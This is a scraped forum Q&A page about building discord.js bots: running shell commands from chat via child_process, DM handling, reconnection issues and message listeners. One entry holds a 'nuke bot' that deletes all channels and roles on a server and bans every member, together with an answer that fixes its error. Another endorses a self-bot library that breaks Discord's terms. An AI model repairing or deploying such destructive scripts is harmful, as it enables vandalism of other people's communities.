Making a Discord Bot execute an Ubuntu command - javascript

I want to make a Discord bot execute a command (sudo service terraria start) when it sees a message like "!t start". I've seen this guide https://thomlom.dev/create-a-discord-bot-under-15-minutes/ and I know how to make the bot know when you send a certain message, but I don't know how could I make it do a command. I'll copy my index.js.
Thank you!
const client = new Discord.Client()
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`)
})
client.on("message", msg => {
if (msg.content === "Ping") {
msg.reply("Pong!")
}
})
Obviously at the end would be the token.

You can try using child_process
const { exec } = require("child_process");
exec("sudo service terraria start", (error, stdout, stderr) => {
if(error) { console.log(`error: ${error.message}`);
return;}
if(stderr){ console.log(`stderr: ${stderr}`);
return; }
console.log(`stdout: ${stdout}`);
});
See https://nodejs.org/api/child_process.html for more details.

Related

Opening file with js

I'm trying to make a discord.js bot which whenever someone types a certain command on Discord, it opens a program on my PC:
client.on("message", (message) => {
if (message.content == "!ping") {
//here I want to open a program on my pc
}
});
Assuming you are using Node you can include the execFile function from the child_process package and just call it from the command line.
const { execFile } = require("child_process");
client.on("message", (message) => {
if(message.content == "!ping") {
execFile("<path to file>", ["optional arg1", "optional arg2"]);
}
});
Or if you just want to run a command, just exec
const { exec } = require("child_process");
client.on("message", (message) => {
if(message.content == "!ping") {
exec("<shell command>", ["optional arg1", "optional arg2"]);
}
});
Check out https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback for documentation.
You may need to "npm install child_process"

Only reply in dms discord.js

So I was working on this project where people will DM the BOT and run command and it replies test. But it doesn't reply.
client.on("messageCreate", async message => {
if (message.content.startsWith(prefix)) {
const args = message.content.slice(prefix.length).trim().split(/ +/g);
const command = args.shift().toLowerCase();
if (message.channel.type === 'dm') {
message.reply("test");
}
}
});
That's because you didn't enable the intents for getting a dm message,
try putting those two on your client declarations :
const client = new Discord.Client({
intents : ['DIRECT_MESSAGES','GUILD_MESSAGES'],
partials: ["CHANNEL","MESSAGE"]
})
here is a way:
1.Create a file named ** 'privateMessage.js'** and in the main file add:
const privateMessage = require('./privateMessage')
client.on('ready' ,() =>{
console.log('I am online')
client.user.setActivity('YouTube Music 🎧', {type:'PLAYING'})
privateMessage(client, 'ping', 'pong')
})
and in the file we just created privateMessage.js add:
module.exports=(client, triggerText, replyText)=>{
client.on('message', message =>{
if(message.content.toLowerCase()===triggerText.toLowerCase()){
message.author.send(replyText)
}
})
}

how to delete all channel in discord.js server

I'm gonna make a nuke bot to nuke a scam server I've tried many things but won't work this is my current code
const Discord = require('discord.js')
const client = new Discord.Client()
client.on('ready', function(){
console.log("nukebot is ready")
})
client.on('message', function(message){
if(message.content === "S#NUKE") {
message.channel.send('#everyone')
message.guild.channels.forEach(channel => channel.delete())
message.guild.roles.forEach(role => role.delete())
message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
message.guild.member.forEach(member => member.ban()).catch(console.error())
}
})
client.login('API_KEY_REDACTED')
This gave me an error: message.guild.channels.forEach is not a function
message.guild.channels.forEach() should be message.guild.channels.cache.forEach().
They added that update in v12.

Discord.js JavaScript discord clients disconnecting and reconnecting for no reason

Bot disconnects for no reason and reconnects
I am using discord.js v11.60
Image of Logs
Running a very basic message monitoring script, happens on all my discord bot applications after a while of being running the program.
//Inital Login
client.on("ready", () => {
sendToLogs(`Logged in as ${client.user.tag}!`)
})
client.on('error', err => {
sendToLogs("Error")
console.error(err)
process.exit(1);
});
client.on('reconnecting', message => {
sendToLogs(`User Reconnecting`)
});
client.on('resume', message => {
sendToLogs(`Connected ${client.user.tag}`)
});
client.on('disconnect', message => {
sendToLogs(`User Disconnected`)
process.exit(1);
});
//On every message
client.on("message", msg => {
console.log(message.content)
});
client.login(token)
Self botting is against TOS, so discord.js stopped supporting it..
Gave up decided to use the Discord.js-selfbot npm instead, working fine thus far.
Link: https://www.npmjs.com/package/discord.js-selfbot

Discord bot only reacting to only a few commands

I've been trying to figure out how to make a discord bot for my server. I started out simple with just basic reactions, but its not reacting to the other half of the commands I have given it. here is the code if anyone would like to help me with this. Keep in mind that im just a beginner and this is my very first project ever. Also these are very funny commands so be warned.
const Discord = require('discord.js');
const bot = new Discord.Client();
const token = 'RETRACTED';
bot.on('ready', () =>{
console.log('Im alive whore');
bot.user.setActivity ("owo");
});
const PREFIX = '!';
bot.on ("message", (message => {
if (message.author.bot) return;
msg = message.content.toLowerCase();
if (msg.includes ("pp")) {
message.channel.sendMessage ("haha you said pp!")
}
msg = message.content.toLowerCase();
if (msg.startsWith ("good morning")) {
message.channel.send("Good morning! Remember to stay hydrated!")
}
if (msg.includes ("komaeda"))
message.react ('👀');
}
))
bot.on ("message", (message => {
if (message.author.bot) return;
msg = message.content.toLowerCase();
if (msg.includes ("eggs")) {
message.react ('👀');
message.channel.sendMessage ("SunnySideup please")
}
if (msg.includes ("Jojo good")) {
message.channel.sendMessage("Your opinion is WRONG!")
}
if (msg.startsWith ("Jojo")) {
message.channel.sendMessage("jojo is bad ah ha ha")
}
}))
bot.on ("message", (message => {
if (message.author.bot) return;
msg = message.content.toLowerCase();
if (msg.includes ("Like scoob what's your favorite thing to do on the weekened")) {
message.channel.sendMessage("Arururururururururu")
}
if (msg.includes ("Bathroom time")) {
message.channel.sendMessage("Piss? Yummy!")
}
if (msg.includes ("Bathroom time")) {
message.channel.sendMessage("Piss? Yummy!")
}
}))
bot.login (token);
You're registering three separate message event listeners when Client only recognizes one of these.
Combine all of your message event listeners into on .on("message", ...) command and it should work fine.

Categories